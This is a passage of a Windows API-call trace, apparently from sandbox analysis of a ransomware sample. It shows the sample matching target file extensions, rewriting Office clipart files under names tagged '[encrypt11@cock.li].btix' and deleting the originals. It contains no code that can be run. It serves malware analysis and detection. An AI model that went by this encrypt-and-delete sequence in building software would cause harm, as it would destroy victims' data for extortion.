lpString2=".WMF") returned -1 [0152.559] lstrlenW (lpString=".xls") returned 4 [0152.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.559] lstrlenW (lpString=".xlsx") returned 5 [0152.559] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.559] lstrlenW (lpString=".ppt") returned 4 [0152.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.559] lstrlenW (lpString=".zip") returned 4 [0152.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.559] lstrlenW (lpString=".rar") returned 4 [0152.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.559] lstrlenW (lpString=".bz2") returned 4 [0152.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.559] lstrlenW (lpString=".7z") returned 3 [0152.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.559] lstrlenW (lpString=".dbf") returned 4 [0152.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.559] lstrlenW (lpString=".1cd") returned 4 [0152.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.559] lstrlenW (lpString=".jpg") returned 4 [0152.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.559] lstrlenW (lpString=".doc") returned 4 [0152.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.560] lstrlenW (lpString=".docx") returned 5 [0152.560] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.560] lstrlenW (lpString=".pdf") returned 4 [0152.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.560] lstrlenW (lpString=".xls") returned 4 [0152.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.560] lstrlenW (lpString=".xlsx") returned 5 [0152.560] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.560] lstrlenW (lpString=".ppt") returned 4 [0152.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.560] lstrlenW (lpString=".zip") returned 4 [0152.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.560] lstrlenW (lpString=".rar") returned 4 [0152.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.560] lstrlenW (lpString=".bz2") returned 4 [0152.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.560] lstrlenW (lpString=".7z") returned 3 [0152.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.560] lstrlenW (lpString=".dbf") returned 4 [0152.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.560] lstrlenW (lpString=".1cd") returned 4 [0152.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.560] lstrlenW (lpString=".jpg") returned 4 [0152.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.560] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.561] lstrlenW (lpString="J0105638.WMF") returned 12 [0152.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.561] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=10364) returned 1 [0152.561] CloseHandle (hObject=0x348) returned 1 [0152.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0152.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.561] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.561] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.562] GetLastError () returned 0x0 [0152.562] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x287c, lpOverlapped=0x0) returned 1 [0152.562] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2880, lpOverlapped=0x0) returned 1 [0152.564] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.564] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.564] SetEndOfFile (hFile=0x378) returned 1 [0152.564] CloseHandle (hObject=0x378) returned 1 [0152.564] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.564] SetEndOfFile (hFile=0x348) returned 1 [0152.565] CloseHandle (hObject=0x348) returned 1 [0152.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0152.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.565] lstrlenW (lpString=".doc") returned 4 [0152.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.565] lstrlenW (lpString=".docx") returned 5 [0152.565] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.565] lstrlenW (lpString=".pdf") returned 4 [0152.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.565] lstrlenW (lpString=".xls") returned 4 [0152.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.565] lstrlenW (lpString=".xlsx") returned 5 [0152.566] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.566] lstrlenW (lpString=".ppt") returned 4 [0152.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.566] lstrlenW (lpString=".zip") returned 4 [0152.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.566] lstrlenW (lpString=".rar") returned 4 [0152.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.566] lstrlenW (lpString=".bz2") returned 4 [0152.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.566] lstrlenW (lpString=".7z") returned 3 [0152.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.566] lstrlenW (lpString=".dbf") returned 4 [0152.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.566] lstrlenW (lpString=".1cd") returned 4 [0152.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.566] lstrlenW (lpString=".jpg") returned 4 [0152.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.566] lstrlenW (lpString=".doc") returned 4 [0152.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.566] lstrlenW (lpString=".docx") returned 5 [0152.566] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.566] lstrlenW (lpString=".pdf") returned 4 [0152.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.566] lstrlenW (lpString=".xls") returned 4 [0152.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.566] lstrlenW (lpString=".xlsx") returned 5 [0152.566] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.567] lstrlenW (lpString=".ppt") returned 4 [0152.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.567] lstrlenW (lpString=".zip") returned 4 [0152.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.567] lstrlenW (lpString=".rar") returned 4 [0152.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.567] lstrlenW (lpString=".bz2") returned 4 [0152.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.567] lstrlenW (lpString=".7z") returned 3 [0152.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.567] lstrlenW (lpString=".dbf") returned 4 [0152.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.567] lstrlenW (lpString=".1cd") returned 4 [0152.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0152.567] lstrlenW (lpString=".jpg") returned 4 [0152.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.567] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.567] lstrlenW (lpString="J0105710.WMF") returned 12 [0152.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.567] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=13808) returned 1 [0152.567] CloseHandle (hObject=0x348) returned 1 [0152.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0152.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.568] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.568] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.568] GetLastError () returned 0x0 [0152.568] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x35f0, lpOverlapped=0x0) returned 1 [0152.569] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x3600, lpOverlapped=0x0) returned 1 [0152.570] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.570] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.571] SetEndOfFile (hFile=0x378) returned 1 [0152.571] CloseHandle (hObject=0x378) returned 1 [0152.571] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.571] SetEndOfFile (hFile=0x348) returned 1 [0152.572] CloseHandle (hObject=0x348) returned 1 [0152.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0152.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.572] lstrlenW (lpString=".doc") returned 4 [0152.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.572] lstrlenW (lpString=".docx") returned 5 [0152.572] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.572] lstrlenW (lpString=".pdf") returned 4 [0152.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.572] lstrlenW (lpString=".xls") returned 4 [0152.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.572] lstrlenW (lpString=".xlsx") returned 5 [0152.572] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.572] lstrlenW (lpString=".ppt") returned 4 [0152.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.572] lstrlenW (lpString=".zip") returned 4 [0152.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.572] lstrlenW (lpString=".rar") returned 4 [0152.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString=".bz2") returned 4 [0152.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString=".7z") returned 3 [0152.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.573] lstrlenW (lpString=".dbf") returned 4 [0152.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.573] lstrlenW (lpString=".1cd") returned 4 [0152.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.573] lstrlenW (lpString=".jpg") returned 4 [0152.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.573] lstrlenW (lpString=".doc") returned 4 [0152.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString=".docx") returned 5 [0152.573] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.573] lstrlenW (lpString=".pdf") returned 4 [0152.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString=".xls") returned 4 [0152.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.573] lstrlenW (lpString=".xlsx") returned 5 [0152.573] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.573] lstrlenW (lpString=".ppt") returned 4 [0152.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.573] lstrlenW (lpString=".zip") returned 4 [0152.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.573] lstrlenW (lpString=".rar") returned 4 [0152.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.574] lstrlenW (lpString=".bz2") returned 4 [0152.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.574] lstrlenW (lpString=".7z") returned 3 [0152.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.574] lstrlenW (lpString=".dbf") returned 4 [0152.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.574] lstrlenW (lpString=".1cd") returned 4 [0152.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0152.574] lstrlenW (lpString=".jpg") returned 4 [0152.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.574] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.574] lstrlenW (lpString="J0105846.WMF") returned 12 [0152.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.574] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=8240) returned 1 [0152.574] CloseHandle (hObject=0x348) returned 1 [0152.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0152.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.575] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.575] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.575] GetLastError () returned 0x0 [0152.575] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2030, lpOverlapped=0x0) returned 1 [0152.576] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2040, lpOverlapped=0x0) returned 1 [0152.577] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.577] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.577] SetEndOfFile (hFile=0x378) returned 1 [0152.577] CloseHandle (hObject=0x378) returned 1 [0152.577] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.577] SetEndOfFile (hFile=0x348) returned 1 [0152.578] CloseHandle (hObject=0x348) returned 1 [0152.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0152.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.579] lstrlenW (lpString=".doc") returned 4 [0152.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.579] lstrlenW (lpString=".docx") returned 5 [0152.579] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.579] lstrlenW (lpString=".pdf") returned 4 [0152.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.579] lstrlenW (lpString=".xls") returned 4 [0152.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.579] lstrlenW (lpString=".xlsx") returned 5 [0152.579] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.579] lstrlenW (lpString=".ppt") returned 4 [0152.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.579] lstrlenW (lpString=".zip") returned 4 [0152.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.579] lstrlenW (lpString=".rar") returned 4 [0152.579] lstrcmpiW (lpString1=".rar", 